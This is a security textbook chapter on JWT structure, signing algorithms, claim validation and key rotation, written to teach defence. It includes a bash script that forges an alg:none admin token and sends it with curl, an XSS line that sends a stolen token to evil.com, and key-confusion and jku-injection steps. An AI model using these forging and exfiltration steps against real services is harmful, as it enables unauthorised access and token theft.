Chapter 13: JWT Structure, Signing, and Mistakes

"A token is a promise. A badly signed token is a promise anyone can forge."

Imagine the logs show a user named guest_4821 suddenly making API calls with role: admin in their JWT payload. No privilege escalation vulnerability in the code. No SQL injection. The token itself has been tampered with -- and the server accepted it. How is that even possible? JWTs are signed. You cannot just edit them -- if the signature verification is done correctly. But there is a long list of ways to get that wrong. This chapter takes JWTs apart piece by piece, showing you exactly how these breaches happen and how to make sure they never happen in your systems.


What Is a JWT?

A JSON Web Token (JWT, pronounced "jot") is a compact, URL-safe token format defined in RFC 7519. It carries claims -- statements about a user or entity -- in a JSON object that is digitally signed. JWTs are used extensively in modern web applications for authentication, authorization, and information exchange.

But here is the thing most developers miss on first encounter: a JWT is not encrypted. It is signed. Those two words mean very different things. Encryption hides content so that unauthorized parties cannot read it. Signing proves that the content has not been tampered with and that it was created by someone who possesses a specific key. The payload of a JWT is readable by anyone. The signature merely prevents modification.

The Three-Part Structure

Every JWT consists of three Base64url-encoded segments separated by dots:

graph LR
    subgraph JWT["JSON Web Token"]
        H["Header<br/><code>eyJhbGci...</code><br/>Algorithm & Type"]
        P["Payload<br/><code>eyJzdWIi...</code><br/>Claims (user data)"]
        S["Signature<br/><code>SflKxwRJ...</code><br/>Proof of integrity"]
    end
    H -->|"."| P -->|"."| S

    style H fill:#4a9eff,color:#fff
    style P fill:#34c759,color:#fff
    style S fill:#ff6b6b,color:#fff

Part 1: The Header tells you what algorithm was used to sign the token and what type of token it is:

{
  "alg": "HS256",
  "typ": "JWT"
}

The alg field is the single most security-critical field in the entire token. As you will see, trusting it blindly has led to some of the most devastating JWT vulnerabilities.

Part 2: The Payload contains the claims -- the actual data the token carries:

{
  "sub": "1234567890",
  "name": "Jane Doe",
  "role": "developer",
  "iat": 1516239022,
  "exp": 1516242622
}

Claims come in three flavors. Registered claims are defined by the JWT specification (sub, iss, exp, aud, nbf, iat, jti). Public claims are registered in the IANA JSON Web Token Claims registry to avoid collisions between organizations. Private claims are custom claims agreed upon between the token producer and consumer (role, tenant_id, permissions).

Part 3: The Signature is computed over the header and payload using the specified algorithm and a secret key:

HMAC-SHA256(
  base64urlEncode(header) + "." + base64urlEncode(payload),
  secret
)

The signature covers both the header and the payload. If either is modified by even one bit, the signature will not match and the token will be rejected -- assuming the server is actually checking the signature, which, as you will see, is not always the case.

The payload is not encrypted. Base64url is encoding, not encryption. Anyone who intercepts a JWT can decode the header and payload instantly. The signature only guarantees integrity and authenticity -- it proves the token was not tampered with and was issued by someone who knows the secret. If you need confidentiality, you use JWE (JSON Web Encryption), which is a different beast entirely.


Base64url Encoding: Not What You Think

Standard Base64 uses +, /, and = characters. These are problematic in URLs and HTTP headers. Base64url replaces + with -, / with _, and strips the padding = characters.

This distinction matters because if you try to decode a JWT using standard Base64 without first converting the characters back, you get corrupted output. Every JWT debugging session where someone says "the payload is garbage" turns out to be a Base64 vs Base64url confusion.

Decode a JWT payload by hand using command-line tools:

\```bash
# Take a real JWT and split it into parts
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkphbmUgRG9lIiwicm9sZSI6ImRldmVsb3BlciIsImlhdCI6MTUxNjIzOTAyMn0.dVf3RHPhOx0o0IDKX9c4ynGYzKu-xvHKxPnCXR7SHGE"

# Extract and decode the header (first part)
echo "$JWT" | cut -d'.' -f1 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
# Output:
# {
#     "alg": "HS256",
#     "typ": "JWT"
# }

# Extract and decode the payload (second part)
echo "$JWT" | cut -d'.' -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool
# Output:
# {
#     "sub": "1234567890",
#     "name": "Jane Doe",
#     "role": "developer",
#     "iat": 1516239022
# }

# The third part is the signature -- binary data, not JSON
# You can view it as hex:
echo "$JWT" | cut -d'.' -f3 | tr '_-' '/+' | base64 -d 2>/dev/null | xxd | head -2
# 00000000: 7557 f744 73e1 3b1d 28d0 8204 0ca5 fd73  uW.Ds.;.(.....s
# 00000010: 98c6 73ca bf4c 6fca c479 ea09 1edf 2067  ..s..Lo..y.... g
\```

You can also use `jwt.io` or the `jq` tool to inspect tokens. Never paste production tokens into online decoders -- they may log them.

Because a JWT "looks encrypted" -- all that gibberish -- people often think it is safe to put sensitive data in the payload. It is not. Treat the payload as public information. Never put passwords, credit card numbers, or secrets in there.

Never store sensitive data (passwords, API keys, PII beyond what's necessary) in JWT payloads. The payload is merely Base64url-encoded, not encrypted. Anyone who intercepts the token can read its contents. Even HTTPS only protects the token in transit -- once it arrives at the client, it is stored in plaintext.

Signing Algorithms: HMAC vs RSA vs ECDSA

The alg field in the header determines how the signature is computed. This choice has profound security implications that go beyond mere performance. It fundamentally changes your trust model.

HMAC (HS256, HS384, HS512) -- Symmetric Signing

HMAC uses a single shared secret for both signing and verification. The same key that creates the signature also verifies it. This is symmetric cryptography applied to authentication.

sequenceDiagram
    participant AS as Auth Server<br/>(has SECRET_KEY)
    participant C as Client
    participant API as API Server<br/>(has SECRET_KEY)

    C->>AS: Login with credentials
    AS->>AS: Create JWT, sign with SECRET_KEY
    AS->>C: Return signed JWT
    C->>API: Request + JWT in Authorization header
    API->>API: Verify signature with same SECRET_KEY
    API->>C: Return protected resource
    Note over AS,API: Both sides must know the secret key.<br/>If ANY verifier is compromised,<br/>the attacker can forge tokens.

The advantage of HMAC is speed. On modern hardware, HMAC-SHA256 can sign and verify millions of tokens per second. The disadvantage is the shared secret. Every service that needs to verify tokens must possess the secret, and any service that possesses the secret can forge tokens.

If you have three microservices that all need to verify tokens, they all need the same secret. That is the fundamental limitation of symmetric signing. Every service that can verify can also forge. If an attacker compromises any one of those services, they can create tokens for any user with any claims. The blast radius of a key compromise is total.

RSA (RS256, RS384, RS512) -- Asymmetric Signing

RSA uses a key pair: a private key for signing and a public key for verification. Only the auth server needs the private key. All other services only need the public key, which cannot be used to create new signatures.

sequenceDiagram
    participant AS as Auth Server<br/>(has PRIVATE key)
    participant C as Client
    participant API1 as API Server 1<br/>(has PUBLIC key only)
    participant API2 as API Server 2<br/>(has PUBLIC key only)

    C->>AS: Login with credentials
    AS->>AS: Sign JWT with PRIVATE key
    AS->>C: Return signed JWT
    C->>API1: Request + JWT
    API1->>API1: Verify with PUBLIC key
    API1->>C: Response
    C->>API2: Request + JWT
    API2->>API2: Verify with PUBLIC key
    API2->>C: Response
    Note over AS,API2: Compromise of API1 or API2 does NOT<br/>allow forging tokens. Only the auth<br/>server with the private key can sign.

RSA-2048 signatures are roughly 100 times slower to produce than HMAC-SHA256 signatures, but verification is faster than signing. In most JWT architectures, tokens are signed rarely (at login, at refresh) and verified frequently (every API call), so the performance characteristics work well.

The key sizes are larger. An RSA-2048 private key is about 1.7 KB. An RSA-4096 private key is about 3.2 KB. The resulting JWT signatures are 256 or 512 bytes respectively, making the overall token larger than HMAC-signed tokens.

ECDSA (ES256, ES384, ES512) -- Elliptic Curve Signing

ECDSA provides the same asymmetric benefits as RSA but with dramatically smaller keys. A P-256 key provides security equivalent to a 3072-bit RSA key, using only 32 bytes of key material.

**Algorithm comparison at a glance:**

| Property        | HS256         | RS256          | ES256          |
|-----------------|---------------|----------------|----------------|
| Key type        | Symmetric     | Asymmetric     | Asymmetric     |
| Key size        | 256-bit       | 2048+ bit      | 256-bit        |
| Sign speed      | ~500K ops/s   | ~1K ops/s      | ~20K ops/s     |
| Verify speed    | ~500K ops/s   | ~30K ops/s     | ~7K ops/s      |
| Signature size  | 32 bytes      | 256 bytes      | 64 bytes       |
| Key distribution| Shared secret | Public key     | Public key     |
| Best for        | Single server | Microservices  | Microservices  |
| Quantum risk    | Resistant*    | Vulnerable     | Vulnerable     |

*HMAC-SHA256 requires Grover's algorithm to attack, effectively halving key strength. RSA and ECDSA are broken by Shor's algorithm.

**Recommendation for new systems:** ES256 (ECDSA with P-256 curve). It gives you asymmetric key separation with small signatures and reasonable performance. RS256 if you need broader library compatibility. HS256 only for single-server deployments where the signing and verification happen in the same process.

EdDSA (Ed25519) -- The Newer Alternative

Ed25519, based on Curve25519, is gaining traction in JWT implementations. It provides deterministic signatures (no random nonce needed, eliminating an entire class of implementation bugs that plague ECDSA), faster signing and verification than ECDSA, and strong security properties. The JWT algorithm identifier is EdDSA. Support is growing but not yet universal.

Generating Keys and Signing in Practice

Generate an RSA key pair and sign a JWT using OpenSSL:

\```bash
# Generate RSA private key (2048-bit minimum, 4096 recommended)
openssl genrsa -out private.pem 2048
# Generating RSA private key, 2048 bit long modulus
# .............................+++
# e is 65537 (0x10001)

# Extract public key
openssl rsa -in private.pem -pubout -out public.pem
# writing RSA key

# Create header and payload
HEADER=$(echo -n '{"alg":"RS256","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"sub":"user1","role":"dev","iat":1700000000,"exp":1700003600}' | base64 | tr '+/' '-_' | tr -d '=')

# Show what we're signing
echo "Header:  $HEADER"
echo "Payload: $PAYLOAD"
echo "Signing: $HEADER.$PAYLOAD"

# Sign with private key
SIGNATURE=$(echo -n "$HEADER.$PAYLOAD" | \
  openssl dgst -sha256 -sign private.pem -binary | \
  base64 | tr '+/' '-_' | tr -d '=')

# The complete JWT
JWT="$HEADER.$PAYLOAD.$SIGNATURE"
echo "JWT: $JWT"

# Verify the signature using the public key
echo -n "$HEADER.$PAYLOAD" | \
  openssl dgst -sha256 -verify public.pem \
  -signature <(echo -n "$SIGNATURE" | tr '_-' '/+' | base64 -d)
# Verified OK
\```

Now generate an EC key pair for ES256:
\```bash
# Generate EC private key (P-256 curve)
openssl ecparam -genkey -name prime256v1 -noout -out ec_private.pem

# Extract public key
openssl ec -in ec_private.pem -pubout -out ec_public.pem

# Note the much smaller key sizes:
wc -c private.pem ec_private.pem
# 1704 private.pem    (RSA)
#  227 ec_private.pem  (EC - ~7.5x smaller)
\```

Token Issuance and Validation Flow

Before getting into the attacks, it is important to trace the complete lifecycle of a JWT in a typical OAuth2/OIDC flow. Understanding this flow is essential because every attack targets a specific point in this chain.

sequenceDiagram
    participant C as Client (Browser)
    participant AS as Auth Server (IdP)
    participant API as API Server (Resource)

    C->>AS: 1. POST /login (credentials)
    AS->>AS: 2. Validate credentials<br/>Generate access JWT (short-lived)<br/>Generate refresh token (long-lived)
    AS->>C: 3. Set-Cookie: access_token=eyJ...<br/>Set-Cookie: refresh_token=opaque_abc...

    C->>API: 4. GET /api/data<br/>Cookie: access_token=eyJ...
    API->>API: 5. Verify JWT signature (no DB call)<br/>Check exp, iss, aud claims<br/>Extract user identity from sub
    API->>C: 6. 200 OK + data

    Note over C,API: Time passes... access token expires (15 min)

    C->>API: 7. GET /api/data<br/>Cookie: access_token=eyJ... (expired)
    API->>C: 8. 401 Unauthorized (token expired)

    C->>AS: 9. POST /auth/refresh<br/>Cookie: refresh_token=opaque_abc...
    AS->>AS: 10. Validate refresh token in DB<br/>Check user still active<br/>Issue new access JWT<br/>Rotate refresh token
    AS->>C: 11. Set-Cookie: access_token=eyJ... (new)<br/>Set-Cookie: refresh_token=opaque_def... (rotated)

    C->>API: 12. GET /api/data<br/>Cookie: access_token=eyJ... (new)
    API->>C: 13. 200 OK + data

Notice step 5: the API server verifies the JWT without calling the auth server. That is the whole point. No database lookup, no network call. The API server just needs the public key (for RS256) or the shared secret (for HS256) to verify the signature. It can validate the token entirely in memory. That is why JWTs scale so well in microservice architectures -- each service verifies independently. But that scalability comes with a cost: revocation is hard because there is no central session store to delete from.


Standard Claims and Their Purpose

The JWT specification defines several registered claims. Using them correctly is critical. Failing to validate even one creates an exploitable gap.

  • iss (Issuer): Who issued the token. Verify this matches your expected auth server. Without this check, a token from a completely different system could be accepted.
  • sub (Subject): The user identifier. This is the "who" of the token. Should be a stable, unique identifier -- not a username that might change.
  • aud (Audience): Who the token is intended for. An API should reject tokens not meant for it. This prevents a token issued for service A from being replayed against service B.
  • exp (Expiration): When the token expires as a Unix timestamp. Always set this. Always check it. Allow a small clock skew tolerance (30 seconds maximum) to account for slightly desynchronized clocks.
  • nbf (Not Before): The token is not valid before this time. Useful for tokens that are pre-generated for future use.
  • iat (Issued At): When the token was created. Useful for determining token age, even when expiration has not been reached.
  • jti (JWT ID): A unique identifier for the token. Essential for revocation (add the jti to a deny list) and for replay prevention (reject tokens with already-seen jtis).
Always validate these claims on the server:
- **`exp`**: Reject expired tokens. Allow a small clock skew (30 seconds max). A common mistake is allowing "generous" clock skew of 5 minutes, which gives attackers a window to use expired tokens.
- **`iss`**: Reject tokens from unexpected issuers. In multi-tenant systems, this prevents cross-tenant token reuse.
- **`aud`**: Reject tokens not intended for your service. This prevents a token meant for your staging environment from working on production, or a token for your user-facing API from being used against your admin API.

Failing to validate `aud` is a common mistake in microservice architectures. An attacker who compromises a low-privilege service token can use it against a high-privilege service if audience is not checked.

The alg:none Vulnerability

This is one of the most infamous JWT attacks, and it has affected countless production systems despite being publicly known since 2015.

The JWT specification includes an algorithm called none -- meaning "no signature." It was intended for cases where the JWT is transported over a channel that already provides integrity protection, like inside an already-authenticated TLS connection between two internal services. In practice, it became a weapon.

How the Attack Works

The attack is embarrassingly simple.

Reproduce the alg:none attack (against your own test system only):

\```bash
# Step 1: Capture a valid JWT (e.g., from your browser's DevTools)
VALID_JWT="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzQ4MjEiLCJyb2xlIjoiZ3Vlc3QiLCJpYXQiOjE3MDAwMDAwMDAsImV4cCI6MTcwMDAwMzYwMH0.SIGNATURE_HERE"

# Step 2: Decode the header
echo "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9" | tr '_-' '/+' | base64 -d
# {"alg":"RS256","typ":"JWT"}

# Step 3: Create a new header with alg:none
NEW_HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '=')
echo "New header: $NEW_HEADER"
# New header: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

# Step 4: Create a modified payload (change role to admin)
NEW_PAYLOAD=$(echo -n '{"sub":"user_4821","role":"admin","iat":1700000000,"exp":1700003600}' | base64 | tr '+/' '-_' | tr -d '=')
echo "New payload: $NEW_PAYLOAD"

# Step 5: Assemble the forged token with an empty signature
FORGED="$NEW_HEADER.$NEW_PAYLOAD."
echo "Forged token: $FORGED"

# Step 6: Send it
curl -H "Authorization: Bearer $FORGED" https://your-test-api.local/admin/users
# If the server is vulnerable, this returns admin data
\```

The flow of this attack looks like this:

graph TD
    A["Attacker captures valid JWT<br/>alg: RS256, role: guest"] --> B["Decode header and payload<br/>(Base64url decode)"]
    B --> C["Modify header: alg → none<br/>Modify payload: role → admin"]
    C --> D["Re-encode header and payload<br/>(Base64url encode)"]
    D --> E["Set signature to empty string<br/>Token: header.payload."]
    E --> F{"Server reads alg from header"}
    F -->|"alg = none"| G["Server skips signature verification"]
    G --> H["Forged token accepted<br/>Attacker has admin access"]
    F -->|"Server ignores token alg<br/>Uses hardcoded algorithm"| I["Signature verification fails<br/>Token rejected"]

    style H fill:#ff4444,color:#fff
    style I fill:#44aa44,color:#fff

Why It Works

The vulnerability exists because of a design decision in the JWT specification: the algorithm used to verify the token is specified inside the token itself. This is attacker-controlled input being used to make a security decision.

Many JWT libraries, when they see alg: "none", skip signature verification entirely. The library trusts the header -- which is attacker-controlled -- to decide how to verify the token. This is a textbook violation of the principle that security decisions should never be based on client-supplied data.

In 2015, security researcher Tim McLean disclosed this vulnerability affecting multiple JWT libraries across languages. The node-jsonwebtoken library, used by millions of applications, was vulnerable. The Python PyJWT library was vulnerable. The Ruby jwt gem was vulnerable. The Java Nimbus JOSE library was vulnerable. The list went on.

The fix seems obvious in retrospect: never let the token tell you how to verify it. But library authors had followed the spec literally, and the spec allowed `alg: "none"`.

This vulnerability was found in a healthcare platform as late as 2018 -- three years after the disclosure. The platform was using an outdated library version. Its HIPAA compliance audit had missed it entirely. A patient could have changed their own records or viewed anyone else's medical history. The total remediation cost, including the mandatory breach notification process that had to be initiated even though no actual exploitation was detected, exceeded $400,000.

The Fix

# WRONG -- lets the token choose the algorithm
decoded = jwt.decode(token, secret, algorithms=None)

# WRONG -- explicitly allows 'none'
decoded = jwt.decode(token, secret, algorithms=["HS256", "none"])

# WRONG -- default algorithms list may include 'none'
decoded = jwt.decode(token, secret)

# CORRECT -- explicitly whitelist only the expected algorithm
decoded = jwt.decode(token, public_key, algorithms=["RS256"])

The server should never trust the token's header to decide how to verify it. You hardcode the expected algorithm. This is called "algorithm whitelisting" or "algorithm pinning." If the token claims a different algorithm, reject it immediately. Most modern JWT libraries now require you to specify the expected algorithm, but older versions and some lesser-known libraries still default to accepting whatever the token says.


Key Confusion Attacks

This attack is subtler than alg:none and arguably more dangerous because it can bypass even systems that reject unsigned tokens. It exploits the interaction between symmetric and asymmetric algorithms.

The Setup

Imagine a system that uses RS256 -- asymmetric signing. The private key signs tokens on the auth server. The public key verifies them on API servers. The public key is, well, public. It might be published at a JWKS endpoint, embedded in the application's configuration, or downloadable from the auth server's metadata URL.

The Attack

sequenceDiagram
    participant Attacker
    participant Server as Vulnerable Server
    participant JWKS as JWKS Endpoint

    Attacker->>JWKS: 1. GET /.well-known/jwks.json
    JWKS->>Attacker: RSA public key (this is public information)

    Note over Attacker: 2. Craft new JWT:<br/>Header: {"alg":"HS256"}<br/>Payload: {"sub":"admin","role":"superuser"}

    Note over Attacker: 3. Sign with HMAC-SHA256<br/>using RSA public key bytes<br/>as the HMAC secret

    Attacker->>Server: 4. Send forged JWT

    Note over Server: 5. Read alg from header: "HS256"<br/>6. Look up verification key<br/>   → finds RSA public key<br/>7. Use it as HMAC secret<br/>   (same bytes attacker used!)<br/>8. HMAC verification succeeds

    Server->>Attacker: 9. 200 OK - Welcome, admin!

The mechanics deserve a deeper explanation. The server has one "key" configured for JWT verification -- the RSA public key. When it sees alg: "RS256", it uses that key as an RSA public key for RSA signature verification. But when an attacker changes the header to alg: "HS256", a naive implementation uses that same key as an HMAC secret. Since the attacker also has the public key (it is public), they can compute the HMAC with the same key material. The HMAC computed by the attacker and the HMAC computed by the server match -- because they used the same key.

This is terrifyingly clever. The public key is literally public. Anyone can download it and use it as an HMAC secret. The root cause is the same as alg:none -- the server trusts the token's header to choose the verification method. The defense is the same: always enforce the expected algorithm on the server side. But there is an additional defense layer: use separate code paths and separate key objects for symmetric and asymmetric verification. Never use a single "key" variable that could be interpreted as either.

Key confusion attacks affect systems that:
1. Use asymmetric algorithms (RSA/ECDSA) for signing
2. Accept the `alg` header from the token without validation
3. Use a single "key" variable for both RSA verification and HMAC verification

Always pin your expected algorithm. Use separate code paths for symmetric and asymmetric verification. Never let a token switch your verification mode.

In code:
\```python
# VULNERABLE -- single key, algorithm from token
key = load_rsa_public_key()  # Could be used as HMAC secret!
payload = jwt.decode(token, key, algorithms=["RS256", "HS256"])

# SAFE -- pinned algorithm, typed key
public_key = load_rsa_public_key()
payload = jwt.decode(token, public_key, algorithms=["RS256"])
\```

JKU and X5U Header Injection

There are two more header parameters that can be exploited: jku (JWK Set URL) and x5u (X.509 URL). These headers tell the verifier where to fetch the public key for verification.

The Attack

  1. Attacker creates their own RSA key pair
  2. Hosts the public key at https://evil.com/.well-known/jwks.json
  3. Creates a JWT with jku: "https://evil.com/.well-known/jwks.json"
  4. Signs the JWT with their private key
  5. If the server fetches the key from the URL in the token, it retrieves the attacker's public key
  6. Verification succeeds because the token is validly signed by the attacker's private key
graph TD
    A["Attacker generates RSA key pair"] --> B["Hosts public key at evil.com/jwks.json"]
    B --> C["Creates JWT with<br/>jku: evil.com/jwks.json"]
    C --> D["Signs JWT with attacker's private key"]
    D --> E{"Server processes JWT"}
    E --> F["Reads jku header"]
    F --> G["Fetches key from evil.com/jwks.json"]
    G --> H["Gets attacker's public key"]
    H --> I["Verifies signature with attacker's key"]
    I --> J["Signature valid -- token accepted"]

    style J fill:#ff4444,color:#fff

The defense: never fetch keys from URLs specified in the token. Use a hardcoded JWKS endpoint URL or a pre-configured set of trusted keys.


Token Theft and Replay Attacks

Even when a JWT is perfectly signed and verified, it can still be stolen and reused.

A JWT is a bearer token. Whoever bears it -- whoever presents it -- is treated as the authenticated user. There is no built-in mechanism to verify that the person presenting the token is the same person it was issued to. It is a physical key, not a biometric lock.

How Tokens Get Stolen

The attack surface for token theft is broad:

  • Cross-Site Scripting (XSS): If a JWT is stored in localStorage and the site has an XSS vulnerability, JavaScript can read and exfiltrate the token. This is the most common theft vector.
  • Man-in-the-Middle: If the token is transmitted over HTTP (not HTTPS), anyone on the network can capture it. Even with HTTPS, certificate verification failures or HSTS absence can allow interception.
  • Log files: Tokens accidentally logged in server access logs, error logs, or analytics. JWTs have been found in CloudWatch logs, Splunk indexes, and Datadog traces.
  • Referer headers: If a JWT is placed in a URL query parameter, it leaks via the Referer header to any external resources loaded on the page.
  • Browser history and cache: Tokens in URLs are stored in browser history. Tokens in responses may be cached.
  • Compromised dependencies: A malicious npm package or browser extension can read tokens from storage.

Replay Attacks

sequenceDiagram
    participant User as Legitimate User
    participant Server as API Server
    participant Attacker

    User->>Server: Request with JWT
    Server->>User: Response (200 OK)

    Note over User,Attacker: Attacker steals JWT via XSS,<br/>log file, or MITM

    Attacker->>Server: Same JWT (from different IP, device, location)
    Server->>Server: Verify signature: VALID<br/>Check expiration: NOT EXPIRED<br/>Check claims: ALL PASS
    Server->>Attacker: Response (200 OK) -- cannot distinguish from legitimate user!

    Note over Server: The server has no way to tell<br/>User and Attacker apart.<br/>The token is cryptographically valid.

Mitigations

  1. Short expiration times: Use exp claims aggressively. Access tokens should live for 5-15 minutes, not hours or days. The shorter the lifetime, the smaller the window for replay.

  2. Token binding: Bind the token to the client's TLS session, IP address, or a device fingerprint. Include a hash of the binding value in the token claims and verify it on each request. This makes stolen tokens useless from a different context.

  3. Refresh token rotation: Issue short-lived access tokens with longer-lived refresh tokens. Rotate refresh tokens on each use and detect reuse -- if a refresh token is used twice, it means either the legitimate user or an attacker has a copy. Revoke the entire token family.

  4. DPoP (Demonstration of Proof-of-Possession): An emerging standard (RFC 9449) where the client proves it holds a private key associated with the token. The token is bound to a key pair. Even if the token is stolen, the attacker cannot produce the proof-of-possession signature without the private key.

  5. Revocation lists: Maintain a server-side list of revoked token IDs (jti claims) in a fast store like Redis. This partially defeats the stateless benefit of JWTs but provides an escape hatch for compromised tokens.

Use `curl` to demonstrate why token storage matters:

\```bash
# Simulate XSS token theft from localStorage
# If your app stores JWT in localStorage, any XSS can do this:
# document.cookie is NOT accessible for HttpOnly cookies
# but localStorage is always accessible via JavaScript

# Attacker's XSS payload would be:
# fetch('https://evil.com/steal?token=' + localStorage.getItem('jwt'))

# Now test token replay -- the server can't tell the difference
TOKEN="eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyMSJ9.signature"

# Legitimate request from user's machine
curl -H "Authorization: Bearer $TOKEN" https://api.example.com/me
# {"id": "user1", "email": "user@company.com"}

# Attacker's replay from a completely different machine
curl -H "Authorization: Bearer $TOKEN" https://api.example.com/me
# {"id": "user1", "email": "user@company.com"}
# Server sees no difference -- both requests are identical
\```

JWT vs Opaque Tokens: A Deep Trade-Off Analysis

JWTs have a lot of problems. So why not just use random session IDs and look them up in a database? That is actually a great question, and the answer is: sometimes you should. The choice between JWTs and opaque tokens is an architectural decision with implications for scalability, security, operational complexity, and failure modes.

Opaque Tokens

An opaque token is a cryptographically random string (like a UUID v4 or a 256-bit random hex value) that serves as a key into a server-side session store. The token itself carries no information -- all the data lives on the server.

graph LR
    C[Client] -->|"a8f3b2c1d4e5..."| API[API Server]
    API -->|"Lookup: a8f3b2c1d4e5..."| Redis[(Redis / Session Store)]
    Redis -->|"user: user1<br/>role: dev<br/>permissions: [...]"| API
    API -->|"Response"| C

Detailed Comparison

| Property              | JWT                        | Opaque Token              |
|-----------------------|----------------------------|---------------------------|
| Self-contained        | Yes (carries claims)       | No (just an ID)           |
| Server storage        | Not required for verification | Required (DB/Redis)    |
| Revocation            | Hard (need deny-list)      | Easy (delete from store)  |
| Revocation latency    | Minutes (until expiry)     | Immediate                 |
| Scalability           | High (no DB lookup)        | Needs shared session store|
| Token size            | 800-2000+ bytes            | 32-64 bytes               |
| Cross-service auth    | Easy (any service verifies)| Hard (needs store access) |
| Payload visibility    | Visible to client          | Hidden on server          |
| Algorithm attacks     | Yes (alg:none, confusion)  | N/A                       |
| Clock dependency      | Yes (exp claim)            | No                        |
| Network partition     | Tokens still validate      | Cannot verify if store down|
| Debugging             | Decode and inspect         | Need store access         |
| Privacy               | Claims visible to client   | Client sees nothing       |

**Use JWTs when:**
- You have a microservices architecture where multiple services need to verify identity without calling a central auth service on every request
- You need cross-domain or cross-service authentication
- You can tolerate a revocation delay equal to the token lifetime
- Your services are distributed and a shared session store would be a bottleneck or single point of failure

**Use opaque tokens when:**
- You have a monolithic application or a small number of services
- You need instant revocation (financial applications, admin dashboards)
- You handle highly sensitive data that should not be in tokens
- You already have a reliable, low-latency shared data store

In practice, many production systems use a hybrid approach. Short-lived JWTs for API access (5-15 minutes), paired with opaque refresh tokens stored server-side. You get the scalability benefits of JWTs with the revocation capabilities of opaque tokens.


JWKS and Key Rotation

In production, keys are served via a JSON Web Key Set (JWKS) endpoint, typically at /.well-known/jwks.json. This allows key rotation without downtime or synchronized deployments.

sequenceDiagram
    participant AS as Auth Server
    participant JWKS as JWKS Endpoint
    participant API as API Server

    Note over AS: Auth server generates new key pair<br/>Assigns kid="key-2024-q1"
    AS->>JWKS: Publish new public key<br/>(keep old key too)

    Note over AS: Start signing new tokens<br/>with kid="key-2024-q1"

    API->>JWKS: Fetch JWKS (cached with TTL)
    JWKS->>API: Returns both old and new keys

    Note over API: Can verify tokens signed with<br/>either old or new key<br/>(using kid to select)

    Note over AS: After all old tokens expire...<br/>Remove old key from JWKS
    AS->>JWKS: Publish only new key
Fetch and inspect a JWKS endpoint:

\```bash
# Fetch Google's public keys (real endpoint)
curl -s https://www.googleapis.com/oauth2/v3/certs | python3 -m json.tool

# Output (truncated):
# {
#   "keys": [
#     {
#       "kty": "RSA",
#       "kid": "1f12fa916c3981...",     <-- Key ID, referenced in JWT header
#       "use": "sig",                    <-- Usage: signature verification
#       "n": "0vx7agoebGCQ2...",        <-- RSA modulus (Base64url)
#       "e": "AQAB",                     <-- RSA exponent (65537)
#       "alg": "RS256"
#     },
#     {
#       "kty": "RSA",
#       "kid": "a5b4c3d2e1...",          <-- Second key (rotation)
#       "use": "sig",
#       "n": "xjru4KN3BCz...",
#       "e": "AQAB",
#       "alg": "RS256"
#     }
#   ]
# }

# The JWT header includes a kid that tells the verifier which key to use:
# {"alg":"RS256","typ":"JWT","kid":"1f12fa916c3981..."}

# Check Microsoft's JWKS (Azure AD / Entra ID)
curl -s https://login.microsoftonline.com/common/discovery/v2.0/keys | python3 -m json.tool

# Check Auth0's JWKS (replace YOUR_DOMAIN)
curl -s https://YOUR_DOMAIN.auth0.com/.well-known/jwks.json | python3 -m json.tool
\```

Key rotation is essential. If a key is compromised, you need to be able to replace it without downtime. The process is: publish the new key alongside the old one, start signing with the new key, wait for all old tokens to expire, then remove the old key. If you are using HMAC with a hardcoded secret in your config file, good luck rotating that across a fleet of services at 3 AM during an incident.

Key rotation best practices:

  1. Rotate signing keys at least quarterly, more frequently for high-security systems
  2. Always maintain at least two active keys during rotation (the old key for verification of existing tokens, the new key for signing)
  3. Set a cache TTL on JWKS responses (typically 1 hour) so that verifiers pick up new keys
  4. Monitor for unknown kid values -- they indicate tokens signed with keys you do not recognize
  5. Automate the rotation process. Manual key rotation invites human error

Common JWT Implementation Mistakes

Here is a catalogue of mistakes that have been seen in production over the years. Each of these has been the root cause of a real security incident.

1. Not Validating the Signature at All

Some developers decode the JWT to read claims but never verify the signature. They treat jwt.decode() as if it were jwt.verify().

# CATASTROPHICALLY WRONG -- anyone can create any claims
payload = jwt.decode(token, options={"verify_signature": False})
user_id = payload["sub"]

# CORRECT
payload = jwt.decode(token, public_key, algorithms=["RS256"])
user_id = payload["sub"]

This has been found in production at multiple companies. In two cases, the developer thought that because the token came over HTTPS, it was trustworthy. HTTPS protects the token in transit. It does not prove the token was issued by your auth server.

2. Storing Tokens in localStorage

LocalStorage is accessible to any JavaScript running on the page. A single XSS vulnerability exposes all stored tokens. There is no equivalent of the HttpOnly flag for localStorage.

// DANGEROUS -- any XSS can steal this
localStorage.setItem('token', jwt);

// SAFER -- HttpOnly cookie (JavaScript cannot read it)
// Set from server: Set-Cookie: token=eyJ...; HttpOnly; Secure; SameSite=Lax

3. Transmitting Tokens in URL Parameters

# NEVER do this
https://api.example.com/data?token=eyJhbGci...

# Tokens in URLs leak via:
# - Browser history (persists on disk)
# - Server access logs (often retained for months)
# - Referer headers (sent to external resources)
# - Proxy logs (corporate proxies log full URLs)
# - Shoulder surfing (URLs are visible on screen)
# - Browser extensions (many read the URL bar)

4. Excessively Long Expiration Times

{
  "sub": "user1",
  "exp": 4102444800
}

That expiration is the year 2100. If this token is stolen, the attacker has permanent access. Production tokens have been found with 30-day, 1-year, and even no expiration at all.

5. Symmetric Keys That Are Too Short

# WRONG -- dictionary-attackable (can be brute-forced with hashcat)
SECRET = "password123"

# WRONG -- too short, low entropy
SECRET = "mysecret"

# WRONG -- looks long but is just repeated characters
SECRET = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

# CORRECT -- cryptographically random, full entropy
import secrets
SECRET = secrets.token_hex(32)  # 256 bits of randomness
# e.g., "a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0"

